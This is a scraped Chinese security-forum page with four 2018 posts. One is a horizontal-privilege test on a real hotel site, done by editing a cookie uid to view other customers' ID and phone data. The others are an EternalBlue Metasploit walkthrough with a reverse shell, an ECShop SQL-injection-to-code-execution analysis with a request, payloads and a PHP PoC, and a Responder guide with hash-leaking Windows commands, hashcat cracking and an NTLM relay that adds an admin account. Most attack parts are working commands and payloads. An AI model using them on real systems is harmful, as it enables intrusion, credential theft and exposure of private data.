漏洞实战挖掘之水平越权

zksmile 发表了文章 • 2 个评论 • 181 次浏览 • 2018-09-24 14:32 • 来自相关话题

最近华住集团信息泄露事件闹的挺大的,看新闻貌似是抓到贩卖数据的人了。于是自己在某漏洞平台SRC上随手找了一个酒店类的厂商测试了一下。
 
在站点注册功能处,需要输入手机号、姓名、身份证号大量个人隐私信息。 




经过测试这里姓名、身份证可以不用输入也能注册,但是如果对于一些对于个人信息保护意识不强的人来说很容易信任该站点,把自己真实的身份信息填写进去。
 
这里我输入了一个虚假的手机号,和身份信息,后台未做任何校验,也没有向手机号发送验证码来校验,注册18888888888直接提示注册成功。 
 
注册成功之后登陆账号,访问自己的资料页面。 




可以看到页面上对身份证号码显示的地方做了 脱敏处理,本来我还想这个开发挺有经验的…..直到我右键查看源代码之后。 




由上图可以看出,页面中有一个隐藏的表单,此时完整的身份证号码就躺在value中,这岂不是掩耳盗铃?
由于此页面可以直接看到用户的姓名、身份证、电话号码信息,于是我就抓取了数据包想要测试一下是否有水平越权。 




在数据包HTTP请求的cookie处,我发现了如上图所示的信息。用户的信息就在cookie中明文传输。
此时使用cookie修改工具,将原本是107318的uid改为 107317 




刷新页面。直接可以越权查看到另外一个人的姓名、身份证、手机号。。。 




 
仅仅是修改一个uid不但可以越权查看个人的资料、酒店订单、收货地址、等等全部可以获取到。。。。。
 
到这一步我想也没必要往下测试了, 点了根雪qie陷入了思考之中。





  查看全部
最近华住集团信息泄露事件闹的挺大的,看新闻貌似是抓到贩卖数据的人了。于是自己在某漏洞平台SRC上随手找了一个酒店类的厂商测试了一下。
 
在站点注册功能处,需要输入手机号、姓名、身份证号大量个人隐私信息。 
1.png

经过测试这里姓名、身份证可以不用输入也能注册,但是如果对于一些对于个人信息保护意识不强的人来说很容易信任该站点,把自己真实的身份信息填写进去。
 
这里我输入了一个虚假的手机号,和身份信息,后台未做任何校验,也没有向手机号发送验证码来校验,注册18888888888直接提示注册成功。 
 
注册成功之后登陆账号,访问自己的资料页面。 
2.png

可以看到页面上对身份证号码显示的地方做了 脱敏处理,本来我还想这个开发挺有经验的…..直到我右键查看源代码之后。 
3.png

由上图可以看出,页面中有一个隐藏的表单,此时完整的身份证号码就躺在value中,这岂不是掩耳盗铃?
由于此页面可以直接看到用户的姓名、身份证、电话号码信息,于是我就抓取了数据包想要测试一下是否有水平越权。 
4.png

在数据包HTTP请求的cookie处,我发现了如上图所示的信息。用户的信息就在cookie中明文传输。
此时使用cookie修改工具,将原本是107318的uid改为 107317 
5.png

刷新页面。直接可以越权查看到另外一个人的姓名、身份证、手机号。。。 
6.png

 
仅仅是修改一个uid不但可以越权查看个人的资料、酒店订单、收货地址、等等全部可以获取到。。。。。
 
到这一步我想也没必要往下测试了, 点了根雪qie陷入了思考之中。

2NLD8Z0Q`TG{M_A9Q84Y188.jpg

 

Metasploit 中 MS17-010 exp使用

zksmile 发表了文章 • 0 个评论 • 136 次浏览 • 2018-09-16 22:16 • 来自相关话题

模块影响:此模块只能针对Windows 7 and Server 2008 R2 (x64) All Service Packs 进行攻击。
实验环境: 操作系统 IP
攻击靶机 kali 2.0 10.211.55.22
目标靶机 Microsoft Windows 7 专业版 10.211.55.6
 
漏洞利用:
先search ms17-010 找到对应模块的地址



use exploit/windows/smb/ms17_010_eternalblue



此模块设置的参数还是比较简单的:set payload windows/x64/meterpreter/reverse_tcp
set RHOST 10.211.55.6
set LHOST 10.211.55.22



exploit 即开始攻击,成功返回会话。




  查看全部
模块影响:
此模块只能针对Windows 7 and Server 2008 R2 (x64) All Service Packs 进行攻击。

实验环境:
         操作系统                           IP
攻击靶机 kali 2.0 10.211.55.22
目标靶机 Microsoft Windows 7 专业版 10.211.55.6

 
漏洞利用:
先search ms17-010 找到对应模块的地址
2.1_.png
use exploit/windows/smb/ms17_010_eternalblue
2.2_.png

此模块设置的参数还是比较简单的:
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 10.211.55.6
set LHOST 10.211.55.22
2.3_.png

exploit 即开始攻击,成功返回会话。
2.5_.png

 

ECShop2.x/3.x代码执行

zksmile 发表了文章 • 1 个评论 • 178 次浏览 • 2018-09-16 22:10 • 来自相关话题

0x01 漏洞详情
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中, user.php的display函数中,模版变量可控,导致注入,配合注入可达到远程代码执行
0x02 影响范围ECShop 2.x
ECShop 3.x0x03 漏洞分析
ringk3y老哥把这个漏洞分析的很清晰,整个利用以及绕过的过程非常精彩,感谢分享,也再次感谢p神提供的环境.
SQL注入:
在user.php中




$back_act变量来源于HTTP_REFERER, assign函数用于在模版变量里赋值。




继续跟踪 display函数




读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。
 
接着看 insert_mod函数




=1pc这里进行了动态调用,=1pc$val传入进来用|分割,参数传入进来时需要被序列化。
 
=1pc再看include/lib_insert.php中的insert_ads函数
=1pc



 
这里直接就能注入了GET /user.php?act=login HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: IP
Pragma: no-cache
Cookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close



代码执行:




继续看fetch函数



追踪_eval函数




$position_style变量来源于数据库中的查询结构




 
然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询




payload:SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -函数中有一个判断:




=1pc我们 id传入’/*
=1pcnum传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了



var_dump()一下








 
再看fetch函数,传入的参数被fetch_str函数处理了



追踪fetch_str函数,这里的字符串处理流程比较复杂



return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select(‘$asd’)的结果, 看看select函数:




第一个字符为$时进入$this->get_val函数



我们$val没有.$又进入make_var函数




最后这里引入单引号从变量中逃逸, 我们要闭合_var所以最终payload是:{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx在这里P神用php写了一个Poc:<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";这里2.x跟3.x的hash不一样,所以使用的时候需要更改一下:

把poc放到php环境里运行一下:




2.x执行结果如下 :




3.x 执行结果如下:



0x04 修复建议
 
最新的3.6.0最新版已经修复完毕,建议升级最新版本!
 
Reference:
 
https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
  查看全部
0x01 漏洞详情
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中, user.php的display函数中,模版变量可控,导致注入,配合注入可达到远程代码执行
0x02 影响范围
ECShop 2.x
ECShop 3.x
0x03 漏洞分析
ringk3y老哥把这个漏洞分析的很清晰,整个利用以及绕过的过程非常精彩,感谢分享,也再次感谢p神提供的环境.
SQL注入:
在user.php中
Image.png

$back_act变量来源于HTTP_REFERER, assign函数用于在模版变量里赋值。
2.png

继续跟踪 display函数
3.png

读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。
 
接着看 insert_mod函数
Image4.png

=1pc这里进行了动态调用,=1pc$val传入进来用|分割,参数传入进来时需要被序列化。
 
=1pc再看include/lib_insert.php中的insert_ads函数
=1pc
Image5.png

 
这里直接就能注入了
GET /user.php?act=login HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: IP
Pragma: no-cache
Cookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close
Image6.png

代码执行:
Image7.png

继续看fetch函数
Image8.png

追踪_eval函数
Image9.png

$position_style变量来源于数据库中的查询结构
Image10.png

 
然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询
Image11.png

payload:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -
函数中有一个判断:
Image12.png

=1pc我们 id传入’/*
=1pcnum传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了
Image13.png

var_dump()一下
Image14.png

Image15.png

 
再看fetch函数,传入的参数被fetch_str函数处理了
Image16.png

追踪fetch_str函数,这里的字符串处理流程比较复杂
Image17.png
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select(‘$asd’)的结果, 看看select函数:
Image18.png

第一个字符为$时进入$this->get_val函数
Image19.png

我们$val没有.$又进入make_var函数
Image20.png

最后这里引入单引号从变量中逃逸, 我们要闭合_var所以最终payload是:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
在这里P神用php写了一个Poc:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
这里2.x跟3.x的hash不一样,所以使用的时候需要更改一下:

把poc放到php环境里运行一下:
Image21.png

2.x执行结果如下 :
Image22.png

3.x 执行结果如下:
23.png

0x04 修复建议
 
最新的3.6.0最新版已经修复完毕,建议升级最新版本!
 
Reference:
 
https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
 

内网渗透之Responder与Net-NTML hash

reber 发表了文章 • 0 个评论 • 237 次浏览 • 2018-09-16 21:09 • 来自相关话题

原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念
Windows认证协议  
    分为:基于NTML的认证和基于kerberos的认证

什么是NTLM Hash?  
早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash



什么是Challenge-Response挑战/响应验证机制?  




Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到DC(通过domain获得)DC生成一个16字节的随机数,即Challenge(挑战码),然后传回ClientClient收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给ServerServer将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证DC返回验证结果给ServerServer将提示客户端是否验证成功


NTLM Hash与Net-NTLM Hash
    NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash,Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash

关于Responder  
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

什么是NTLM中继攻击?  
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境
可以从(https://github.com/lgandx/Responder)下载Responder
域内主机:Win7(10.11.11.20)
域控主机:Win2008(10.11.11.18)
被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash   
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hashnet.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x03 通过文件包含获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x04 通过XSS获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x05 WPAD代理服务器抓取Net-NTLM hash
WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

被控主机执行:$ sudo python Responder.py -I eth0 -v -F




0x06 使用hashcat解密
安装hashcat(参考https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going)$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat
利用hashcat暴力猜解密码  
-m:hash-type,5600对应NetNTLMv2


得到密码为123456


0x07 通过NTLM中继攻击添加用户
这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

修改Responder.conf,不启动SMB和HTTP,然后启动Responderreber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F
利用Responder的MultiRelay模块获取shellreber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator Guest reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$
Reference(侵删):
https://apt404.github.io/2016/08/11/ntlm-kerberos http://www.4hou.com/system/9383.html https://3gstudent.github.io/Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍 https://gist.github.com/anonymous/70f792d50078f0ee795d39d0aa0da46e https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745 https://www.anquanke.com/post/id/85004 https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going  查看全部
原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念
Windows认证协议  
    分为:基于NTML的认证和基于kerberos的认证

什么是NTLM Hash?  
早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash



什么是Challenge-Response挑战/响应验证机制?  
WX20180918-104021@2x.png

  1. Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到DC(通过domain获得)
  2. DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client
  3. Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server
  4. Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证
  5. DC返回验证结果给Server
  6. Server将提示客户端是否验证成功



NTLM Hash与Net-NTLM Hash
    NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash,Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash

关于Responder  
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

什么是NTLM中继攻击?  
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境
可以从(https://github.com/lgandx/Responder)下载Responder
域内主机:Win7(10.11.11.20)
域控主机:Win2008(10.11.11.18)
被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash   
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash
net.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo

被控主机执行:$ sudo python Responder.py -I eth0 -v


0x03 通过文件包含获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x04 通过XSS获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x05 WPAD代理服务器抓取Net-NTLM hash
WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

被控主机执行:$ sudo python Responder.py -I eth0 -v -F




0x06 使用hashcat解密
安装hashcat(参考https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going)
$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat

利用hashcat暴力猜解密码  
-m:hash-type,5600对应NetNTLMv2


得到密码为123456


0x07 通过NTLM中继攻击添加用户
这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

修改Responder.conf,不启动SMB和HTTP,然后启动Responder
reber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F

利用Responder的MultiRelay模块获取shell
reber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

